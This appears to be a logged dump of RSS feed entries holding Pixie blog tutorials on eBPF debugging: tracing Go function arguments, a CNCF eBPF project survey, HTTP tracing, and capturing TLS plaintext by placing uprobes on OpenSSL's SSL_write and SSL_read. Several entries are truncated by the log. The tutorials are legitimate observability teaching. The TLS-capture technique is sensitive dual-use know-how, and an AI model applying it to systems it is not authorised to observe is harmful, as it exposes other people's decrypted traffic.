6:35:43 AM: '</code></pre><p>To understand how uprobes work, let's look at how symbols are tracked inside binaries. Since uprobes work by inserting a debug trap instruction, we need to get the address where the function is located. Go binaries on Linux use ELF to store debug info. This information is available, even in optimized binaries, unless debug data has been stripped. We can use the command <code>objdump</code> to examine the symbols in the binary:</p><pre><code class=language-bash:numbers>[0] % objdump --syms app|grep computeE\n' +

6:35:43 AM: '00000000006609a0 g F .text 000000000000004b main.computeE\n' +

6:35:43 AM: '</code></pre><p>From the output, we know that the function <code>computeE</code> is located at address <code>0x6609a0</code>. To look at the instructions around it, we can ask <code>objdump</code> to disassemble to binary (done by adding <code>-d</code>). The disassembled code looks like:</p><pre><code class=language-bash:numbers>[0] % objdump -d app | less\n' +

6:35:43 AM: '00000000006609a0 <main.computeE>:\n' +

6:35:43 AM: ' 6609a0: 48 8b 44 24 08 mov 0x8(%rsp),%rax\n' +

6:35:43 AM: ' 6609a5: b9 02 00 00 00 mov $0x2,%ecx\n' +

6:35:43 AM: ' 6609aa: f2 0f 10 05 16 a6 0f movsd 0xfa616(%rip),%xmm0\n' +

6:35:43 AM: ' 6609b1: 00\n' +

6:35:43 AM: ' 6609b2: f2 0f 10 0d 36 a6 0f movsd 0xfa636(%rip),%xmm1\n' +

6:35:43 AM: '</code></pre><p>From this we can see what happens when <code>computeE</code> is called. The first instruction is <code>mov 0x8(%rsp),%rax</code>. This moves the content offset <code>0x8</code> from the <code>rsp</code> register to the <code>rax</code> register. This is actually the input argument <code>iterations</code> above; Go's arguments are passed on the stack.</p><p>With this information in mind, we are now ready to dive in and write code to trace the arguments for <code>computeE</code>.</p><h1>Building the Tracer</h1><p>To capture the events, we need to register a uprobe function and have a userspace function that can read the output. A diagram of this is shown below. We will write a binary called <code>tracer</code> that is responsible for registering the BPF code and reading the results of the BPF code. As shown, the uprobe will simply write to a perf-buffer, a linux kernel data structure used for perf events.</p><div class=image-m><svg title=High-level overview showing the Tracer binary listening to perf events generated from the App src=app-tracer.svg></svg></div><p>Now that we understand the pieces involved, let's look into the details of what happens when we add an uprobe. The diagram below shows how the binary is modified by the Linux kernel with an uprobe. The soft-interrupt instruction (<code>int3</code>) is inserted as the first instruction in <code>main.computeE</code>. This causes a soft-interrupt, allowing the Linux kernel to '... 4564 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'A brief stroll through the CNCF eBPF landscape',

6:35:43 AM: date: '2022-04-19',

6:35:43 AM: description: 'eBPF has been steadily gaining traction in the past few years. The foundation for the idea sounds a bit esoteric on the surface - running…',

6:35:43 AM: url: 'https://blog.px.dev/ebpf-cncf/',

6:35:43 AM: guid: 'https://blog.px.dev/ebpf-cncf/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>eBPF has been steadily gaining traction in the past few years. The foundation for the idea sounds a bit esoteric on the surface - running user-defined programs in the Linux kernel. However, <strong>eBPF has made a huge splash because of the major applications it has in fields like observability, networking, and security</strong>.</p><p>In particular, eBPF made a large impact in the cloud native community. This is because the move to Kubernetes and microservices has introduced new challenges in deploying, monitoring, and securing applications - challenges that eBPF can help address.</p><p>With a lot of buzz and excitement, it can be hard to understand the adoption and applications of a technology like eBPF. In this blog post, we’ll get a quick overview of a few CNCF open source projects that are applying eBPF to solve important problems.</p><h2>What is eBPF?</h2><p><a href=https://ebpf.io/what-is-ebpf>eBPF</a> is a revolutionary technology that allows you to run lightweight sandboxed programs inside of the Linux kernel.</p><p>The operating system is the ideal location to implement observability, networking, and security functionality as it can oversee the entire system. However, before eBPF came onto the scene, writing code for the kernel was fraught with stability and compatibility issues: there was no guarantee that your code wouldn’t crash the kernel and changing kernel versions and architecture could easily break code.</p><p><strong>eBPF is game changing, because it provides a safe and efficient way to run code in the kernel.</strong> As shown in the overview below, eBPF allows the kernel to run BPF bytecode. While the front-end language used can vary, it is often a restricted subset of C. Typically the C code is first compiled to the BPF bytecode using Clang, then the bytecode is verified to make sure it's safe to execute. These strict verifications guarantee that the machine code will not intentionally or accidentally compromise the Linux kernel, and that the BPF probe will execute in a bounded number of instructions every time it is triggered.</p><div class=image-xl><svg title=Example eBPF observability application (from <a href="https://www.brendangregg.com/ebpf.html#ebpf&quot;&gt;brendangregg.com&lt;/a&gt;). src=linux_ebpf_internals.png></svg></div><h2>What is the CNCF?</h2><p>The <a href=https://www.cncf.io/>Cloud Native Compute Forum</a> (CNCF) exists to promote the growth of the cloud native ecosystem. One of the ways it does this is by providing a vendor-neutral home for open source cloud-native projects. If you’ve worked with Kubernetes or Prometheus, you’ve already used a CNCF project. The CNCF brings together some of the world’s top developers and by looking at the emerging technologies used in its projects, you can get a glimpse into the direction of the future of cloud computing.</p><p>You can check out all of the CNCF’s open source projects <a href=https://landscape.cncf.io/?project=hosted>here</a>.</p><h2>eBPF in CNCF Projects</h2><p>Let’s examine how three different CNCF projects have applied eBPF to solve problems in the cloud-native space.</p><h3>Falco (Security)</h3><p>Securing software applications is already a difficult task, but when you break your applications into many small, scalable and distributed microservices, it can get even harder.</p><p><strong><a href=https://falco.org/>Falco</a> is an open source runtime security tool.</strong> Runtime security is the last layer of defense when securing your Kubernetes cluster and is designed to alert you to threats that sneak past other defense protections.</p><p>Falco monitors system calls to check for <a href=https://falco.org/docs/#what-does-falco-check-for>a variety of unusual behavior</a>, such as:</p><ul><li>Privilege escalation using privileged containers</li><li>Namespace changes using tools like <code>setns</code></li><li>Read/Writes to well-known directories such as <code>/etc</code>, <code>/usr/bin</code>, <code>/usr/sbin</code>, etc</li><li>Executing shell binaries or SSH binaries</li></ul><p>As shown in the diagram below, Falco can use an eBPF driver to safely and efficiently produce a stream of system call information. These system calls are parsed by the userspace program which checks against the rules defined in the configuration to determine whether to send an alert.</p><div class=image-xl><svg title=Diagram showing how Falco works (from <a href="https://sysdig.com/blog/intro-runtime-security-falco/#how-dow-falco-work&quot;&gt;Sysdig&lt;/a&gt;). src=falco.png></svg></div><p><a href=https://falco.org/blog/choosing-a-driver>Falco supports multiple drivers</a>, including one using a kernel module and one using eBPF probes. Compared to the original kernel module, the newer eBPF driver is considered safer as it is unable to crash or panic a kernel. The eBPF driver is also able to run in environments where loading a kernel module is not an option (such as GKE).</p><p>To get started with Falco, check out the guide <a href=https://falco.org/docs/getting-started/>here</a>.</p><h3>Pixie (Observability)</h3><p>Kubernetes makes it easier to decouple application logic from infrastructure and scale up independent microservices. However, this introduces new complexity in observing the system's behavior.</p><p><strong><a href=https://px.dev/>Pixie</a> is an open source observability tool for Kubernetes applications.</strong> Observability is a rather vague term, but in Pixie’s case this includes <a href=https://docs.px.dev/tutorials/pixie-101/request-tracing/>full-body application requests</a>, <a href=https://docs.px.dev/tutorials/pixie-101/profiler/>application profiles</a> and <a href=https://docs.px.dev/tutorials/pixie-101/network-monitoring/>network</a> and <a href=https://docs.px.dev/tutorials/pixie-101/infra-health/>infra</a> health metrics.</p><p>All of the telemetry data provided by the Pixie platform is <a href=https://docs.px.dev/about-pixie/pixie-ebpf/>automatically captured using eBPF</a>. By using eBPF, Pixie eliminates the need for traditional manual instrumentation. Let’s take a look at how this works for application request tracing.</p><div class=image-xl><svg title=Pixie protocol tracing using eBPF (from <a href="https://docs.px.dev/about-pixie/pixie-ebpf/&quot;&gt;docs.px.dev&lt;/a&gt;). src=pixie.svg></svg></div><p>When Pixie is deployed to the nodes in your cluster, it deploys eBPF kernel probes that are set up to trigger on the Linux syscalls used for networking. When your application makes any network-related syscalls -- such as <code>send()</code> and <code>recv()</code> -- Pixie's eBPF probes snoop the data and send it to Pixie’s edge module. The edge module parses the data according to the detected protocol and stores the data in tables locally on the node. These <a href=https://docs.px.dev/reference/datatables/>data tables</a> can then be queried and visualized using the Pixie API, CLI or web-based UI.</p><p>Got encrypted traffic? eBPF probes can be used to <a href=https://docs.px.dev/about-pixie/pixie-ebpf/#protocol-tracing-tracing-tlsssl-connections>trace TLS connections</a> too!</p><p>To get started with Pixie, check out the guide <a href=https://docs.px.dev/installing-pixie/install-guides/>here</a>.</p><h3>Cilium (Networking)</h3><p>Kubernetes can be highly dynamic with large numbers of containers getting created and destroyed in just seconds as applications scale to adapt to load changes or during rolling updates. This ephemeral nature of Kubernetes <a href=https://docs.cilium.io/en/stable/intro/#why-cilium-hubble>stresses the traditional networking approach</a> that operates using IP addresses and ports - as these methods of identification can frequently change.</p><p>Kubernetes can be highly dynamic with large numbers of containers getting created and destroyed in just seconds as applications scale to adapt to load changes or during rolling updates. For large clusters, this ephemeral nature of Kubernetes stresses the traditional network security approaches that operate using IP addresses and ports.</p><p><strong><a href=https://cilium.io>Cilium</a> is an open source Kubernetes container networking interface (CNI) plugin</strong> for providing and transparently securing network connectivity and load balancing between application workloads.</p><p>Similarly to Pixie, Cilium uses eBPF to observe network traffic at the Linux syscall level. However, Cilium also uses eBPF at the XDP/tc layer to influence the routing of packets. By being able to observe and interact with network traffic, eBPF allows Cilium to transparently insert security visibility + enforcement in a way that incorporates service / pod / container context. This solves the aforementioned networking problem by decoupling security from IP addresses and ports and instead using Kubernetes context for identity.</p><div class=image-xl><svg title=eBPF is the foundation of Cilium. Diagram from (from <a href="https://cilium.io/get-started&quot;&gt;cilium.io&lt;/a&gt;). src=cilium.png></svg></div><p><a href=https://github.com/cilium/hubble>Hubble</a> is part of the Cilium project which <strong>provides network and security observability for cloud native workloads.</strong> Hubble provides <a href=https://github.com/cilium/hubble#service-dependency-graph>service maps</a>, <a href=https://githu'... 861 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Debugging with eBPF Part 2: Tracing full body HTTP request/responses',

6:35:43 AM: date: '2020-10-28',

6:35:43 AM: description: 'This is the second in a series of posts in which we share how you can use eBPF to debug applications without recompilation / redeployment…',

6:35:43 AM: url: 'https://blog.px.dev/ebpf-http-tracing/',

6:35:43 AM: guid: 'https://blog.px.dev/ebpf-http-tracing/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>This is the second in a series of posts in which we share how you can use eBPF to debug applications without recompilation / redeployment. The <a href=/ebpf-function-tracing/>first post</a> provided a short introduction to eBPF and demonstrated how to use it to write a simple function argument tracer. In this second post, we will look at how to use eBPF to capture HTTP 1.X traffic.</p><h1>Introduction</h1><p>Gaining visibility into HTTP traffic is valuable when working with distributed applications. This data can be used for performance, functional and security monitoring. Many applications accomplish this by utilizing middleware to add tracing or logging to HTTP requests in the application. One can also utilize popular open source frameworks like <a href=https://opentelemetry.io/>Open Telemetry</a> to instrument requests and related context. In this post, we will take a look at an alternative approach that utilizes eBPF to capture HTTP data without having to manually add instrumentation. One advantage of this approach is that it always works, even if applications have not been specifically instrumented.</p><p><a href=/ebpf-function-tracing/>Part 1</a> of this series provides a more detailed overview of eBPF, which allows you to run restricted C code upon some trigger event. Kprobes provide a mechanism to trace the Kernel API or internals and uprobes provide a mechanism to intercept specific instructions in a user program. Since applications typically sit on top of the Kernel system API, if we capture the Kernel interface we should be able to capture all the ingress and egress data and reconstruct the HTTP requests.</p><p>Alternatively, we can use uprobes to carefully instrument underlying HTTP libraries (eg. net/http in Go) to capture HTTP requests directly. Since uprobes work at the application level, their implementation will be dependent on the underlying language used.</p><p>This post will explore tracing HTTP requests using both kprobes and uprobes and compare the tradeoffs for each.</p><h2>What happens during an HTTP request?</h2><p>Before we start writing any BPF code, let’s try to understand how HTTP requests are handled by the system. We will utilize the same <a href=https://github.com/pixie-io/pixie-demos/blob/main/simple-gotracing/app/app.go>test application</a> we used in Part 1, a simple Golang HTTP server (simpleHTTP), however the results are generalizable to other HTTP applications.\n' +

6:35:43 AM: 'The first step is to understand what Linux kernel APIs are used to send and receive data for a simple HTTP request.</p><p>We can use the Linux <a href=https://perf.wiki.kernel.org/index.php/Main_Page>perf</a> command to understand what system calls are invoked:</p><pre><code class=language-bash>sudo perf trace -p <PID>\n' +

6:35:43 AM: '</code></pre><p>Using <code>curl</code>, we’ll make a simple HTTP request in another terminal window:</p><pre><code class=language-bash>curl http://localhost:9090/e\\?iters\\=10\n' +

6:35:43 AM: '</code></pre><p>Back in the original terminal window, where the <code>perf</code> command is running, you should see a spew of data:</p><pre><code class=language-bash>[0] % sudo perf trace -p 1011089\n' +

6:35:43 AM: ' ? ( ): app/1011089 ... [continued]: epoll_pwait()) = 1\n' +

6:35:43 AM: ' ...\n' +

6:35:43 AM: ' 0.087 ( 0.004 ms): app/1011089 accept4(fd: 3<socket:[7062148]>, upeer_sockaddr: 0xc0000799c8, upeer_addrlen: 0xc0000799ac, flags: 526336) = -1 EAGAIN (Resource temporarily unavailable)\n' +

6:35:43 AM: ' 0.196 ( 0.005 ms): app/1011089 read(fd: 4, buf: 0xc00010e000, count: 4096) = 88\n' +

6:35:43 AM: ' 0.238 ( 0.005 ms): app/1011089 futex(uaddr: 0xc000098148, op: WAKE|PRIVATE_FLAG, val: 1) = 1\n' +

6:35:43 AM: ' 0.278 ( 0.023 ms): app/1011089 write(fd: 4, buf: 0xc00010f000, count: 128) = 128\n' +

6:35:43 AM: ' ...\n' +

6:35:43 AM: ' 0.422 ( 0.002 ms): app/1011091 close(fd: 4) = 0\n' +

6:35:43 AM: ' ...\n' +

6:35:43 AM: '</code></pre><p>Note that we took care not to have any additional print statements in our <a href=https://github.com/pixie-io/pixie-demos/blob/main/simple-gotracing/app/app.go>app.go</a> simple Golang HTTP server to avoid creating extra system calls.</p><p>Examining the output of the <code>perf</code> call shows us that there are 3 relevant system calls: <code>accept4</code>, <code>write</code>, <code>close</code>. Tracing these system calls should allow us to capture all of the data the server is sending out in response to a request.</p><p>From the server’s perspective, a typical request flow is shown below, where each box represents a system call. The Linux system call API is typically much more complex than this and there are other variants that can be used. For the purposes of this post we assume this simplified version, which works well for the application that we are tracing.</p><div class=image-l><svg title=System call flow for an HTTP request. src=http-request-flow-syscalls.png></svg></div><p>While the focus of this example is on tracing the HTTP response, it is also possible to trace the data sent in the HTTP request by adding a probe to the <code>read</code> syscall.</p><h2>Tracing with Kprobes</h2><p>Now that we know that tracing <code>accept4</code>, <code>write</code> and <code>close</code> are sufficient for this binary, we can start constructing the BPF source code. Our program will roughly look like the following:</p><div class=image-m><svg title=Diagram of our eBPF HTTP tracer using kprobes. src=kprobe-tracing.png></svg></div><p>There is some additional complexity in the implementation in order to avoid limitations in eBPF (stacksize, etc.), but at a high level, we need to capture the following using 4 separate probes:</p><ul><li><strong>Entry to <code>accept4</code></strong>: The entry contains information about the socket. We store this socket information</li><li><strong>Return from <code>accept4</code></strong>: The return value for accept4 is the file descriptor. We store this file descriptor in a BPF_MAP.</li><li><strong>Entry to <code>write</code></strong>: The write function gives us information about the file descriptor and the data written to that file descriptor. We write out this data to a perf buffer so the userspace tracing program can read it.</li><li><strong>Entry to <code>close</code></strong>: We use the file descriptor information to clear the BPF_MAP we allocated above and stop tracking this fd.</li></ul><p>Note that kprobes work across the entire system so we need to filter by PID to limit capturing the data to only the processes of interest. This is done for all the probes listed above.</p><p>Once the data is captured, we can read it to our Go userspace program and parse the HTTP response using the <a href=https://golang.org/pkg/net/http/><code>net/http</code></a> library.</p><p>The kprobe approach is conceptually simple, but the implementation is fairly long. You can check out the detailed code <a href=https://github.com/pixie-io/pixie-demos/blob/main/simple-gotracing/http_trace_kprobe/http_trace_kprobe.go>here</a>. For brevity, we left out a few details such as reading the return value from write to know how many bytes were actually written.</p><p>One downside to capturing data using kprobes is that we land up reparsing all responses since we intercept them after they have been converted to the write format. An alternative approach is to use uprobes to capture the data before it gets sent to the kernel where we can read the data before it has been serialized.</p><h2>Tracing with Uprobes</h2><p>Uprobes can be used to interrupt the execution of the program at a particular address and allow a BPF program to collect the underlying data. This capability can be used to capture data in a client library, but the underlying BPF code and addresses/offsets of interest will be dependent on the library's implementation . As a result, if there are changes in the client library, the uprobe will need to be updated as well. Therefore, it is best to add uprobes for client libraries that are unlikely to change significantly in order to minimize the number of updates we make to our uprobes.</p><p>For Go, we will try to find a tracepoint on the underlying <a href=https://golang.org/pkg/net/http/><code>net/http</code></a> library. One approach is to directly examine the code to determine where to probe. We will show an alternate method that can be used to figure out which parts are relevant. For this, let’s run our application under <a href=https://github.com/go-delve/delve>delve</a>:</p><pre><code class=language-bash:numbers>[0] % dlv exec ./app\n' +

6:35:43 AM: 'Type 'help' for list of commands.\n' +

6:35:43 AM: '(dlv) c\n' +

6:35:43 AM: 'Starting server on: :9090\n' +

6:35:43 AM: '(dlv) break syscall.write\n' +

6:35:43 AM: 'Breakpoint 1 set at 0x497083 for syscall.write() /opt/golang/src/syscall/zsyscall_linux_amd64.go:998\n' +

6:35:43 AM: '</code></pre><p>As discussed earlier, the <code>write</code> syscall is utilized by the operating system in order to send a HTTP response. We therefore set a breakpoint there so that we can identify the underlying client code that triggers the syscall to 'write'. When we run the <code>curl</code> command again the program should interrupt. We get the backtrace using <code>bt</code>:</p><pre><code class=language-bash:numbers> (dlv) bt\n' +

6:35:43 AM: ' 0x0000000000497083 in syscall.write at /opt/golang/src/syscall/zsyscall_linux_amd64.go:998\n' +

6:35:43 AM: ' 0x00000000004aa481 in syscall.Write at /opt/golang/src/syscall/syscall_unix.go:'... 7174 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Debugging with eBPF Part 3: Tracing SSL/TLS connections',

6:35:43 AM: date: '2021-09-16',

6:35:43 AM: description: 'This post will demonstrate how to use eBPF to trace encrypted connections that operate over TLS (or its predecessor, SSL). TLS has become…',

6:35:43 AM: url: 'https://blog.px.dev/ebpf-openssl-tracing/',

6:35:43 AM: guid: 'https://blog.px.dev/ebpf-openssl-tracing/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>This post will demonstrate how to use eBPF to trace encrypted connections that operate over TLS (or its predecessor, SSL). TLS has become the standard for securing microservice communication, so any production-ready tracing tool should be prepared to handle encrypted connections.</p><p>This post is part of our ongoing series sharing how you can use eBPF to debug applications without recompilation or redeployment. For more eBPF projects, check out:</p><ul><li><a href=/ebpf-function-tracing/>Part 1</a>: Debugging Go function arguments in prod</li><li><a href=/ebpf-http-tracing/>Part 2</a>: Full body HTTP request/response tracing</li></ul><h2>Tracing with BPF</h2><p><a href=https://www.brendangregg.com/ebpf.html>BPF</a> can be used to interrupt the execution of a program at virtually any point—much like how one can set a breakpoint in an application using a debugger.</p><p>However, unlike a debugger, which stops a program indefinitely to allow you to poke around, with BPF, the kernel simply runs a BPF program when the specified trigger occurs and then immediately resumes execution of the original program.</p><p>One interesting application of BPF is the tracing of network traffic. Many network traffic tracers, like Wireshark, use pcap (<strong>p</strong>acket <strong>cap</strong>ture) to capture the data as it is sent to the network interface card (NIC). These days, pcap actually uses BPF under the hood. Whenever a packet is sent to the NIC, a BPF program captures the packet data.</p><p>BPF probes are not limited to tracing data at the packet-level; probes can be deployed at numerous spots in the network stack.</p><p>At Pixie, we place BPF <em>kprobes</em> on the send() and recv() family of Linux syscalls. Any time one of these syscalls is executed, the kprobe will trigger and Pixie will capture the data.</p><div class=image-l><svg title=Diagram of a network traffic tracer BPF program using kprobes attached to Linux syscalls. src=bpf-syscall-tracing.svg></svg></div><p>The <code>send()</code> and <code>recv()</code> syscalls are very high up on the network stack, before the data has been packetized and prepared for network transmission. Since Pixie’s goal is to automatically observe the data an application sends over the network, adding probes at this level is ideal for gaining visibility into how the application is talking to other services in its environment.</p><h2>The problem with TLS/SSL</h2><p>The BPF kprobe approach outlined above works well for all plain-text traffic, but will not work for encrypted connections. By the time the data flows through the Linux <code>send()</code> and <code>recv()</code> syscalls for TSL/SSL traffic, it is encrypted and we can’t make any sense of it.</p><p>The approach taken by Wireshark and other low-level packet captures is to ask for the key so that the data can be decrypted. TLS handshakes are fairly complex and consist of a number of different keys and secrets, but at a high-level, there are two modes for this:</p><ol><li>Give Wireshark the RSA private key, so that it can trace the entire connection. In this setup, Wireshark is able to trace the data as long as it was able to observe the initial key-exchange; for existing connections, you’ll be out of luck.</li><li>Give Wireshark the (pre)-master key which was negotiated during the key exchange—if you know it. In this setup, Wireshark can decrypt the data even without seeing the initial connection. Because this is a common use case, you can actually ask your <a href=https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/>browser to dump the session keys</a> for this purpose.</li></ol><p>Sharing encryption keys works well for Wireshark’s use case, but this approach is not scalable enough to use in an observability platform whose mantra is “up and running in seconds.”</p><h2>A simple solution</h2><p>Given how powerful BPF is, we wondered if there wasn’t a more seamless way to access the plain-text data. The resulting plan is very basic: we simply capture the data before it is encrypted.</p><p>This pre-encryption approach rules out kprobes, because the data is encrypted before it reaches the Linux kernel. But BPF isn’t restricted to kernel event triggers. Uprobes allow the kernel to trigger a BPF program whenever the <em>application code</em> reaches a certain instruction.</p><p>To figure out where to place the uprobe in order to capture the pre-encryption traffic, it helps to look at a diagram of how SSL/TLS is typically incorporated in applications.</p><div class=image-xl><svg title=Diagram of application without TLS vs Application with TLS. src=bpf-tls-tracing.svg></svg></div><p>The diagram above shows the common setup for encrypting application traffic with the popular TLS library, OpenSSL. The goal is to trace the inputs to the TLS library, which happen to be the <code>SSL_write</code> and <code>SSL_read</code> functions in OpenSSL. Tracing these calls, instead of the Linux <code>send()</code> and <code>recv()</code> syscalls, will capture the traffic before it is encrypted.</p><p>This strategy is well supported by BPF <em>uprobes</em>. With uprobes, we set our triggers to be events that happen in user-space. Often, uprobes are set in the user’s own compiled code, but there’s nothing preventing us from placing them on a shared library.</p><p>By placing the uprobe on a <em>shared</em> library, we end up tracing <em>all</em> applications that use the shared library, so we’ll need to filter out the data for the processes we’re actually interested in. This is no different than when we put a kprobe on Linux’s <code>send()</code> and <code>recv()</code> syscalls, though. Those kprobes also end up tracing <em>all</em> applications —- in fact, they trace more applications, as not all applications use OpenSSL, but all applications go through the kernel. In the context of a full system tracer, however, a probe on <em>shared</em> library is actually an advantage, since a single probe gives us wide observability coverage.</p><h2>Setting a uprobe on a shared library</h2><p>Attaching uprobes to shared library is no different than setting uprobes on application code.</p><p><a href=https://github.com/iovisor/bcc>BCC</a> makes it easy to attach a uprobe to a function in your application code. For example, if you had a function called <code>foo()</code> in a program called <code>demo</code>, you’d use BCC to attach a uprobe in the following way:</p><pre><code class=language-cpp>attach_uprobe(\n' +
' "/home/user/demo",\n' +

6:35:43 AM: ' "foo",\n' +

6:35:43 AM: ' <your BPF code here>);\n' +

6:35:43 AM: '</code></pre><p>Note that for this to work, you must have compiled your code with debug symbols. You can verify that a binary has symbols by running a program like <code>nm</code>; below we also run grep to search for a particular symbol of interest.</p><pre><code class=language-bash>$ nm -C demo | grep foo\n' +

6:35:43 AM: '0000000000401110 T foo()\n' +

6:35:43 AM: '</code></pre><p>Compiler optimizations like inlining can often mean that the symbol you’re looking for is not available, so this is something to watch out for. Nevertheless, as long as the symbol is available in the binary, you can trace it.</p><p>Now, what if you want to attach a uprobe to a shared library? In this case, we’re dealing with the <code>.so</code> shared library as our object file instead of the program we’ve compiled, since the shared library is where the code of interest lives. To start, let’s see if we can find the <code>SSL_write</code> or <code>SSL_read</code> symbol that we want to probe. To do this, we run <code>nm</code> directly on the <code>libssl.so</code> file.</p><pre><code class=language-bash>$ nm /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n' +

6:35:43 AM: 'nm: /usr/lib/x86_64-linux-gnu/libssl.so.1.1: no symbols\n' +

6:35:43 AM: '</code></pre><p>Uh-oh. No symbols? They’ve been stripped? So how will we call <code>attach_uprobe</code>?</p><p>After a brief moment of panic, you ask yourself, how does the application even call OpenSSL functions like <code>SSL_write</code>? That information must be somewhere, right? Reading through the man pages for <code>nm</code> reveals the answer. We need to pass the flag <code>--dynamic</code> to see the dynamic symbols. Those are never stripped, otherwise no binary could possibly link to the shared library. Running <code>nm</code> again with this flag reveals something a lot more interesting</p><pre><code class=language-bash>$ nm --dynamic /usr/lib/x86_64-linux-gnu/libssl.so.1.1 | grep -e SSL_write -e SSL_read\n' +

6:35:43 AM: '0000000000038b00 T SSL_read\n' +

6:35:43 AM: '000000000003c730 T SSL_read_early_data\n' +

6:35:43 AM: '0000000000038b70 T SSL_read_ex\n' +

6:35:43 AM: '0000000000038dd0 T SSL_write\n' +

6:35:43 AM: '000000000003c900 T SSL_write_early_data\n' +

6:35:43 AM: '0000000000038e40 T SSL_write_ex\n' +

6:35:43 AM: '</code></pre><p>Phew! The symbols do exist. This is promising.</p><p>The final <code>attach_uprobe</code> invocation is really easy. For the object on which to set the uprobe, you can directly provide the shared library. And for the symbol, use the dynamic symbol of interest.</p><pre><code class=language-cpp>attach_uprobe(\n' +

6:35:43 AM: ' "/usr/lib/x86_64-linux-gnu/libssl.so.1.1",\n' +

6:35:43 AM: ' "SSL_write",\n' +

6:35:43 AM: ' <your BPF code here>)\n' +

6:35:43 AM: '</code></pre><h2>Putting it all together</h2><p>A fully working version of the OpenSSL tracer can be found <a href=https://github.com/pixie-io/pixie-demos/tree/main/openssl-tracer>here</a>. To run the demo, follow the directions in the <a href=https://github.com/pixie-io/pixie-demos/blo'... 12121 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'The Challenge with Deploying eBPF Into the Wild',

6:35:43 AM: date: '2022-02-16',

6:35:43 AM: description: 'eBPF technology has been a game-changer for applications that want to interact with the Linux kernel in a safe way. The use of eBPF probes…',

6:35:43 AM: url: 'https://blog.px.dev/ebpf-portability/',

6:35:43 AM: guid: 'https://blog.px.dev/ebpf-portability/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p><a href=http://ebpf.io>eBPF</a> technology has been a game-changer for applications that want to interact with the Linux kernel in a safe way. The use of eBPF probes has led to efficiency improvements and new capabilities in fields like observability, networking, and security.</p><p>One problem that hinders the wide-scale deployment of eBPF is the fact that it is challenging to build applications that are compatible across a wide range of Linux distributions.</p><p>If you’re fortunate enough to work in a uniform environment, this may not be such a big deal. But if you’re writing eBPF programs for general distribution, then you don’t get to control the environment. Your users will have a variety of Linux distributions, with different kernel versions, kernel configurations, and distribution-specific quirks.</p><p>Faced with such a problem, what can you do to make sure that your eBPF-based application will work on as many environments as possible?</p><p>In this blog post, we examine this question, and share some of our learnings from deploying Pixie across a wide range of environments.</p><h2>What's the Problem?</h2><p><em>Note: The problem of BPF portability is covered in detail by Andrii Nakryiko in his <a href=https://nakryiko.com/posts/bpf-portability-and-co-re/>blog post</a> on the subject. In this section, we rehash the problem briefly.</em></p><p>To understand why it can be problematic to deploy eBPF programs across different target environments, it’s important to first review the eBPF build pipeline. We’ll start with the basic flow used by frameworks like BCC. There are newer approaches with libbpf + CO-RE, but we’ll cover that later.</p><div class=image-xl><svg title=The BCC eBPF deployment flow: The eBPF code is compiled on the target host to make sure that the program is compatible. src=bcc-ebpf-diagram.png></svg></div><p>In the basic flow, the eBPF code is compiled into BPF byte code, and then deployed into the kernel. Assuming that the BPF verifier doesn’t reject the code, the eBPF program is then run by the kernel whenever triggered by the appropriate event.</p><p>In this flow, it’s important to note that this entire process needs to happen on the host machine. One can’t simply compile to BPF bytecode on their local machine and then ship the bytecode to different host machines.</p><p>Why? Because each host may have a different kernel, and so kernel struct layouts may have changed.</p><p>Let’s make this more concrete with a couple of examples. First, let’s look at a very simple eBPF program that doesn’t have any portability issues:</p><pre><code class=language-cpp>// Map that stores counts of times triggered, by PID.\n' +

6:35:43 AM: 'BPF_HASH(counts_by_pid, uint32_t, int64_t);\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '// Probe that counts every time it is triggered.\n' +

